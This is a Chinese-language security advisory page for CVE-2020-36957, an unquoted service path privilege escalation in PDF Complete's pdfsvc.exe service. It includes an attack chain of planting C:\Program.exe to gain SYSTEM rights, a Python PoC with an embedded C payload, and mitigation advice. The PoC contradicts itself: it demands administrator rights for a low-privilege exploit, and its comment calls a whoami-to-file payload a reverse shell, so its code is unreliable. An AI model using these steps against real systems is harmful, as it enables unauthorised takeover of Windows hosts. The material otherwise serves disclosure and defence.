IPBUF安全漏洞报告
English
CVE-2020-36957 CVSS 7.8 高危

CVE-2020-36957 | PDF Complete pdfsvc.exe 未引用服务路径权限提升漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36957
漏洞类型
未引用服务路径权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PDF Complete

相关标签

未引用服务路径权限提升本地攻击Windows服务PDF Completepdfsvc.exeLocalSystem高危漏洞CVE-2020-36957

漏洞概述

CVE-2020-36957是PDF Complete 3.5.310.2002版本中存在的一个高危安全漏洞。该漏洞属于未引用服务路径(Unquoted Service Path)类型,存在于pdfsvc.exe服务的配置中。由于服务路径未使用引号包裹,攻击者可以通过在路径中植入恶意可执行文件来劫持服务执行流程。当服务重启时,系统会按照路径顺序查找可执行文件,攻击者只需将恶意程序放置在目标路径的子目录位置,即可诱导服务执行恶意代码。由于pdfsvc.exe服务以LocalSystem高权限运行,攻击成功后可获得系统最高权限,实现完全控制目标主机。此漏洞本地利用,无需远程攻击,认证要求低权限即可实施,对系统机密性、完整性和可用性均造成严重影响。

技术细节

未引用服务路径漏洞是一种常见的Windows权限提升技术。当Windows服务配置中的可执行文件路径包含空格且未被引号包裹时,系统在解析路径时会从左到右匹配空格分隔的路径组件。例如,如果服务路径为C:\Program Files\PDF Complete\pdfsvc.exe,系统会首先尝试执行C:\Program.exe,然后是C:\Program Files\pdfsvc.exe,最终才是正确的完整路径。攻击者可以利用这一特性,在C:\目录下放置名为Program.exe的恶意可执行文件,当pdfsvc.exe服务启动或重启时,系统会先执行攻击者的恶意程序。由于服务以LocalSystem账户运行,恶意代码也将以SYSTEM权限执行,从而实现权限提升。攻击者还可以利用此漏洞执行恶意payload、植入后门或横向移动。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标系统上安装的PDF Complete软件版本,并检查pdfsvc.exe服务的配置信息
STEP 2
步骤2
漏洞确认:攻击者使用sc qc pdfsvc命令查看服务配置,确认BINARY_PATH_NAME路径是否包含空格且未被引号包裹
STEP 3
步骤3
恶意程序植入:攻击者将包含恶意代码的可执行文件(如Program.exe)放置在服务路径的某个目录中,如C:\根目录
STEP 4
步骤4
服务重启触发:由于服务路径未加引号,系统在查找可执行文件时会优先匹配到攻击者放置的恶意程序
STEP 5
步骤5
权限提升:恶意程序以LocalSystem高权限执行,攻击者成功获得系统最高权限,可执行任意代码
STEP 6
步骤6
持久化控制:攻击者可利用获得的权限植入后门、窃取数据或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2020-36957 PoC - PDF Complete Unquoted Service Path # This script demonstrates the unquoted service path vulnerability in pdfsvc.exe import os import sys import subprocess import ctypes def is_admin(): """Check if running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def check_service_path(): """Check if pdfsvc.exe service has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'pdfsvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] Service pdfsvc found") if '"' not in result.stdout.split('BINARY_PATH_NAME')[1].split('\n')[0]: print("[!] Service path is unquoted - Vulnerable!") return True else: print("[-] Service path is quoted - Not vulnerable") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """Generate malicious executable for path hijacking""" if not is_admin(): print("[-] This exploit requires administrator privileges") return False if not check_service_path(): return False # Malicious payload - creates reverse shell malicious_code = ''' #include <windows.h> #include <stdio.h> int main() {{ STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); // Replace with actual payload char* cmd = "cmd.exe /c whoami > C:\\\\poc_result.txt"; CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); return 0; }} ''' print("[+] Payload generated - Compile and place as C:\\Program.exe") print("[+] Then restart the pdfsvc service to trigger execution") return True if __name__ == "__main__": exploit()

影响范围

PDF Complete < 3.5.310.2002
PDF Complete 3.5.310.2002

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1)使用icacls命令限制C:\Program Files\PDF Complete目录的写入权限,仅允许管理员和SYSTEM账户写入;2)在C:\根目录创建名为Program.exe的空文件并设置只读权限,防止攻击者利用;3)监控系统日志中的异常服务启动行为;4)考虑使用端点检测与响应(EDR)解决方案检测此类攻击;5)如果业务不需要,可暂时禁用pdfsvc.exe服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表